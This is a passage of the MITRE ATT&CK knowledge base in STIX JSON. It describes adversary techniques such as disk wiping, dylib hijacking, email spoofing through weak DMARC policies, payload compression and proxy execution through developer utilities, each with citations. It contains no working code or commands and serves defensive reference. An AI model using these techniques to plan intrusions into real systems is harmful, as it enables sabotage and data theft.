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                    "url": "https://attack.mitre.org/techniques/T1561/001",
                    "external_id": "T1561.001"
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                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
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                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
                },
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                    "source_name": "Microsoft Sysmon v6 May 2017",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
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            "description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)",
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            "created": "2024-08-30T13:50:42.023Z",
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                    "url": "https://attack.mitre.org/techniques/T1213/005",
                    "external_id": "T1213.005"
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                {
                    "source_name": "Sentinel Labs NullBulge 2024",
                    "description": " Jim Walter. (2024, July 16). NullBulge | Threat Actor Masquerades as Hacktivist Group Rebelling Against AI. Retrieved August 30, 2024.",
                    "url": "https://www.sentinelone.com/labs/nullbulge-threat-actor-masquerades-as-hacktivist-group-rebelling-against-ai/"
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                {
                    "source_name": "Permiso Scattered Spider 2023",
                    "description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.",
                    "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"
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                    "source_name": "SC Magazine Ragnar Locker 2021",
                    "description": "Joe Uchill. (2021, December 3). Ragnar Locker reminds breach victims it can read the on-network incident response chat rooms. Retrieved August 30, 2024.",
                    "url": "https://www.scmagazine.com/analysis/ragnar-locker-reminds-breach-victims-it-can-read-the-on-network-incident-response-chat-rooms"
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                    "source_name": "Guardian Grand Theft Auto Leak 2022",
                    "description": "Keza MacDonald, Keith Stuart and Alex Hern. (2022, September 19). Grand Theft Auto 6 leak: who hacked Rockstar and what was stolen?. Retrieved August 30, 2024.",
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                    "source_name": "Microsoft DEV-0537",
                    "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
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            "modified": "2026-05-12T15:12:00.726Z",
            "name": "Messaging Applications",
            "description": "Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information.  \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on messaging applications: \n\n* Testing / development credentials (i.e., [Chat Messages](https://attack.mitre.org/techniques/T1552/008)) \n* Source code snippets \n* Links to network shares and other internal resources \n* Proprietary data(Citation: Guardian Grand Theft Auto Leak 2022)\n* Discussions about ongoing incident response efforts(Citation: SC Magazine Ragnar Locker 2021)(Citation: Microsoft DEV-0537)\n\nIn addition to exfiltrating data from messaging applications, adversaries may leverage data from chat messages in order to improve their targeting - for example, by learning more about an environment or evading ongoing incident response efforts.(Citation: Sentinel Labs NullBulge 2024)(Citation: Permiso Scattered Spider 2023)",
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                    "url": "https://attack.mitre.org/techniques/T1048/003",
                    "external_id": "T1048.003"
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                    "source_name": "copy_cmd_cisco",
                    "description": "Cisco. (2022, August 16). copy - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "type": "attack-pattern",
            "id": "attack-pattern--fbd91bfc-75c2-4f0c-8116-3b4e722906b3",
            "created": "2025-03-04T18:29:33.850Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/015",
                    "external_id": "T1027.015"
                },
                {
                    "source_name": "Perception Point",
                    "description": "Arthur Vaiselbuh, Peleg Cabra. (2024, November 7). Evasive ZIP Concatenation: Trojan Targets Windows Users. Retrieved March 3, 2025.",
                    "url": "https://perception-point.io/blog/evasive-concatenated-zip-trojan-targets-windows-users/"
                },
                {
                    "source_name": "NTT Security Flagpro new December 2021",
                    "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022.",
                    "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech"
                },
                {
                    "source_name": "The Hacker News",
                    "description": "Ravie Lakshmanan. (2023, April 5). Hackers Using Self-Extracting Archives Exploit for Stealthy Backdoor Attacks. Retrieved March 3, 2025.",
                    "url": "https://thehackernews.com/2023/04/hackers-using-self-extracting-archives.html"
                },
                {
                    "source_name": "Trustwave Pillowmint June 2020",
                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020.",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/"
                }
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            "modified": "2026-05-12T15:12:00.726Z",
            "name": "Compression",
            "description": "Adversaries may use compression to obfuscate their payloads or files. Compressed file formats such as ZIP, gzip, 7z, and RAR can compress and archive multiple files together to make it easier and faster to transfer files. In addition to compressing files, adversaries may also compress shellcode directly - for example, in order to store it in a Windows Registry key (i.e., [Fileless Storage](https://attack.mitre.org/techniques/T1027/011)).(Citation: Trustwave Pillowmint June 2020)\n\nIn order to further evade detection, adversaries may combine multiple ZIP files into one archive. This process of concatenation creates an archive that appears to be a single archive but in fact contains the central directories of the embedded archives. Some ZIP readers, such as 7zip, may not be able to identify concatenated ZIP files and miss the presence of the malicious payload.(Citation: Perception Point)\n\nFile archives may be sent as one [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) through email. Adversaries have sent malicious payloads as archived files to encourage the user to interact with and extract the malicious payload onto their system (i.e., [Malicious File](https://attack.mitre.org/techniques/T1204/002)).(Citation: NTT Security Flagpro new December 2021) However, some file compression tools, such as 7zip, can be used to produce self-extracting archives. Adversaries may send self-extracting archives to hide the functionality of their payload and launch it without requiring multiple actions from the user.(Citation: The Hacker News)\n\n[Compression](https://attack.mitre.org/techniques/T1027/015) may be used in combination with [Encrypted/Encoded File](https://attack.mitre.org/techniques/T1027/013) where compressed files are encrypted and password-protected.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "stealth"
                }
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "2.0"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490",
            "created": "2020-03-16T15:23:30.896Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/004",
                    "external_id": "T1574.004"
                },
                {
                    "source_name": "MalwareUnicorn macOS Dylib Injection MachO",
                    "description": "Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.",
                    "url": "https://malwareunicorn.org/workshops/macos_dylib_injection.html#5"
                },
                {
                    "source_name": "Wardle Dylib Hijacking OSX 2015",
                    "description": "Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf"
                },
                {
                    "source_name": "Writing Bad Malware for OSX",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
                },
                {
                    "source_name": "Wardle Dylib Hijack Vulnerable Apps",
                    "description": "Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021.",
                    "url": "https://objective-see.com/blog/blog_0x46.html"
                },
                {
                    "source_name": "wardle artofmalware volume1",
                    "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved November 17, 2024.",
                    "url": "https://taomm.org/vol1/read.html"
                },
                {
                    "source_name": "Github EmpireProject HijackScanner",
                    "description": "Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.",
                    "url": "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py"
                },
                {
                    "source_name": "Github EmpireProject CreateHijacker Dylib",
                    "description": "Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.",
                    "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py"
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            "modified": "2026-05-12T15:12:00.726Z",
            "name": "Dylib Hijacking",
            "description": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)",
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            "x_mitre_deprecated": false,
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            "type": "attack-pattern",
            "id": "attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d",
            "created": "2020-10-19T19:53:10.576Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1601/002",
                    "external_id": "T1601.002"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
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            "modified": "2026-05-12T15:12:00.726Z",
            "name": "Downgrade System Image",
            "description": "Adversaries may install an older version of the operating system of a network device to weaken security.  Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage.  With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart.  The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600).  Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).  ",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "type": "attack-pattern",
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            "created": "2026-04-14T22:54:01.539Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1684/002",
                    "external_id": "T1684.002"
                },
                {
                    "source_name": "Cloudflare DMARC, DKIM, and SPF",
                    "description": "Cloudflare. (n.d.). What are DMARC, DKIM, and SPF?. Retrieved April 8, 2025.",
                    "url": "https://www.cloudflare.com/learning/email-security/dmarc-dkim-spf/"
                },
                {
                    "source_name": "DMARC-overview",
                    "description": "DMARC. (n.d.). Retrieved March 24, 2025.",
                    "url": "https://dmarc.org/overview"
                },
                {
                    "source_name": "ic3-dprk",
                    "description": "FBI, State Department, NSA. (2024, May 2). North Korean Actors Exploit Weak DMARC Security Policies to Mask Spearphishing Efforts. Retrieved April 2, 2025.",
                    "url": "https://www.ic3.gov/CSA/2024/240502.pdf"
                },
                {
                    "source_name": "Proofpoint TA427 April 2024",
                    "description": "Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427\u2019s Art of Information Gathering. Retrieved May 3, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering"
                },
                {
                    "source_name": "Proofpoint-DMARC",
                    "description": "Proofpoint. (n.d.). Retrieved March 24, 2025.",
                    "url": "https://www.proofpoint.com/us/threat-reference/dmarc"
                },
                {
                    "source_name": "Barnea DirectSend",
                    "description": "Tom Barnea. (2025, September 9). Ongoing Campaign Abuses Microsoft 365\u2019s Direct Send to Deliver Phishing Emails. Retrieved September 24, 2025.",
                    "url": "https://www.varonis.com/blog/direct-send-exploit"
                }
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            "modified": "2026-05-12T15:12:00.726Z",
            "name": "Email Spoofing",
            "description": "Adversaries may fake, or spoof, a sender\u2019s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024)\u00a0In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity.\n\nEnterprise environments can use Domain-based Message Authentication, Reporting, and Conformance (DMARC) as an email authentication protocol that references results of the Sender Policy Framework (SPF) and DomainKeys Identified Mail (DKIM) configurations. SPF and DKIM are configured separately in DNS: SPF verifies that the sending server is authorized for the domain, while DKIM uses a digital signature to verify email integrity and domain authentication. Together, they validate email authenticity and specify how receiving servers should handle authentication failures. Without enforced identity authentication, adversaries may compromise the integrity of an authentication check with altered headers that would not have otherwise passed.(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC)\n\nAn example of a weak or absent DMARC policy is `v=DMARC1; p=none; fo=1;`. The `p=none`. The `p=none` indicates no action should be taken, and therefore no filtering action will take place, even if an email fails authentication checks (i.e., SPF and/or DKIM fail). When a DMARC policy indicates no action, the email will still be delivered to the victim\u2019s inbox.(Citation: ic3-dprk) \n\nAdversaries have abused weak or absent DMARC policies to circumvent authentication checks and conceal social engineering attempts. Adversaries can alter email headers to include legitimate domain names with fake usernames or impersonate legitimate users via [Impersonation](https://attack.mitre.org/techniques/T1684/001) for [Phishing](https://attack.mitre.org/techniques/T1566). Additionally, adversaries may abuse Microsoft 365\u2019s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend)",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2",
            "created": "2020-03-13T20:26:46.695Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1078/003",
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            "modified": "2026-05-12T15:12:00.726Z",
            "name": "Local Accounts",
            "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ",
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                    "phase_name": "privilege-escalation"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "id": "attack-pattern--fde016f6-211a-41c8-a4ab-301f1e419c62",
            "created": "2025-02-25T15:49:33.963Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1669",
                    "external_id": "T1669"
                },
                {
                    "source_name": "Nearest Neighbor Volexity",
                    "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
                    "url": "https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/"
                },
                {
                    "source_name": "DOJ GRU Charges 2018",
                    "description": "U.S. Department of Justice. (2018, October 4). U.S. Charges Russian GRU Officers with International Hacking and Related Influence and Disinformation Operations. Retrieved February 25, 2025.",
                    "url": "https://www.justice.gov/archives/opa/pr/us-charges-russian-gru-officers-international-hacking-and-related-influence-and"
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            "modified": "2025-04-15T19:59:24.690Z",
            "name": "Wi-Fi Networks",
            "description": "Adversaries may gain initial access to target systems by connecting to wireless networks. They may accomplish this by exploiting open Wi-Fi networks used by target devices or by accessing secured Wi-Fi networks \u2014 requiring [Valid Accounts](https://attack.mitre.org/techniques/T1078) \u2014 belonging to a target organization.(Citation: DOJ GRU Charges 2018)(Citation: Nearest Neighbor Volexity) Establishing a connection to a Wi-Fi access point requires a certain level of proximity to both discover and maintain a stable network connection. \n\nAdversaries may establish a wireless connection through various methods, such as by physically positioning themselves near a Wi-Fi network to conduct close access operations. To bypass the need for physical proximity, adversaries may attempt to remotely compromise nearby third-party systems that have both wired and wireless network connections available (i.e., dual-homed systems). These third-party compromised devices can then serve as a bridge to connect to a target\u2019s Wi-Fi network.(Citation: Nearest Neighbor Volexity)\n\nOnce an initial wireless connection is achieved, adversaries may leverage this access for follow-on activities in the victim network or further targeting of specific devices on the network. Adversaries may perform [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) activities for [Credential Access](https://attack.mitre.org/tactics/TA0006) or [Discovery](https://attack.mitre.org/tactics/TA0007).",
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                    "phase_name": "initial-access"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                    "url": "https://attack.mitre.org/techniques/T1211",
                    "external_id": "T1211"
                },
                {
                    "source_name": "Bypassing CloudTrail in AWS Service Catalog",
                    "description": "Nick Frichette. (2023, March 20). Bypassing CloudTrail in AWS Service Catalog, and Other Logging Research. Retrieved September 18, 2023.",
                    "url": "https://securitylabs.datadoghq.com/articles/bypass-cloudtrail-aws-service-catalog-and-other/"
                },
                {
                    "source_name": "GhostToken GCP flaw",
                    "description": "Sergiu Gatlan. (2023, April 21). GhostToken GCP flaw let attackers backdoor Google accounts. Retrieved September 18, 2023.",
                    "url": "https://www.bleepingcomputer.com/news/security/ghosttoken-gcp-flaw-let-attackers-backdoor-google-accounts/"
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            "modified": "2026-05-12T15:12:00.726Z",
            "name": "Exploitation for Stealth",
            "description": "Adversaries may exploit vulnerabilities to evade detection by hiding activity, suppressing logging, or operating within trusted or unmonitored components. \n\nAdversaries may exploit a system or application vulnerability to avoid detection while maintaining access within an environment. Exploitation occurs when an adversary leverages a programming flaw to execute code in a manner that minimizes visibility or blends in with legitimate activity. \n\nRather than directly disabling defenses, adversaries may use exploitation to circumvent monitoring and logging mechanisms. This can include abusing vulnerabilities in logging pipelines, security tools, or cloud infrastructure to evade audit trails, suppress alerts, or operate without generating telemetry. \n\nAdversaries may identify these opportunities through prior reconnaissance or by performing discovery of security controls after initial access. In some cases, vulnerabilities in SaaS or public cloud environments may be exploited to evade logging, obscure activity, or deploy infrastructure that remains hidden from standard monitoring tools.(Citation: Bypassing CloudTrail in AWS Service Catalog)(Citation: GhostToken GCP flaw)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "stealth"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "John Lambert, Microsoft Threat Intelligence Center"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS",
                "SaaS",
                "IaaS"
            ],
            "x_mitre_version": "2.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b",
            "created": "2017-05-31T21:31:39.262Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1127",
                    "external_id": "T1127"
                },
                {
                    "source_name": "Exploit Monday WinDbg",
                    "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160816135945/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html"
                },
                {
                    "source_name": "Elastic Security Labs",
                    "description": "Joe Desimone. (2024, August 5). Dismantling Smart App Control. Retrieved March 21, 2025.",
                    "url": "https://www.elastic.co/security-labs/dismantling-smart-app-control"
                },
                {
                    "source_name": "LOLBAS Tracker",
                    "description": "LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/"
                },
                {
                    "source_name": "Microsoft Smart App Control",
                    "description": "Microsoft. (n.d.). Smart App Control Frequently Asked Questions. Retrieved April 4, 2025.",
                    "url": "https://support.microsoft.com/en-us/windows/smart-app-control-frequently-asked-questions-285ea03d-fa88-4d56-882e-6698afdb7003"
                },
                {
                    "source_name": "engima0x3 RCSI Bypass",
                    "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.",
                    "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/"
                },
                {
                    "source_name": "engima0x3 DNX Bypass",
                    "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.",
                    "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.726Z",
            "name": "Trusted Developer Utilities Proxy Execution",
            "description": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.\n\nSmart App Control is a feature of Windows that blocks applications it considers potentially malicious from running by verifying unsigned applications against a known safe list from a Microsoft cloud service before executing them.(Citation: Microsoft Smart App Control) However, adversaries may leverage \"reputation hijacking\" to abuse an operating system\u2019s trust of safe, signed applications that support the execution of arbitrary code. By leveraging [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127) to run their malicious code, adversaries may bypass Smart App Control protections.(Citation: Elastic Security Labs)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "stealth"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Casey Smith",
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_remote_support": false
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc",
            "created": "2019-10-04T20:42:28.541Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1529",
                    "external_id": "T1529"
                },
                {
                    "source_name": "Talos Nyetya June 2017",
                    "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.",
                    "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html"
                },
                {
                    "source_name": "alert_TA18_106A",
                    "description": "CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/TA18-106A"
                },
                {
                    "source_name": "NotMe-BSOD",
                    "description": "lzcapp. (n.d.). Retrieved September 22, 2025.",
                    "url": "https://github.com/lzcapp/NotMe-BSOD"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
                },
                {
                    "source_name": "Microsoft Shutdown Oct 2017",
                    "description": "Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown"
                },
                {
                    "source_name": "NtRaiseHardError",
                    "description": "NtDoc. (n.d.). NtRaiseHardError - NtDoc. Retrieved September 22, 2025.",
                    "url": "https://ntdoc.m417z.com/ntraiseharderror"
                },
                {
                    "source_name": "Unit42 Agrius 2023",
                    "description": "Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"
                },
                {
                    "source_name": "SonicWall",
                    "description": "SecurityNews. (2024, July 12). Disarming DarkGate: A Deep Dive into Thwarting the Latest DarkGate Variant. Retrieved September 22, 2025.",
                    "url": "https://www.sonicwall.com/blog/disarming-darkgate-a-deep-dive-into-thwarting-the-latest-darkgate-variant"
                },
                {
                    "source_name": "CrowdStrike Blog",
                    "description": "William Thomas, Adrian Liviu Arsene, Farid Hendi. (2022, February 25). CrowdStrike Falcon\u00ae Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved September 22, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
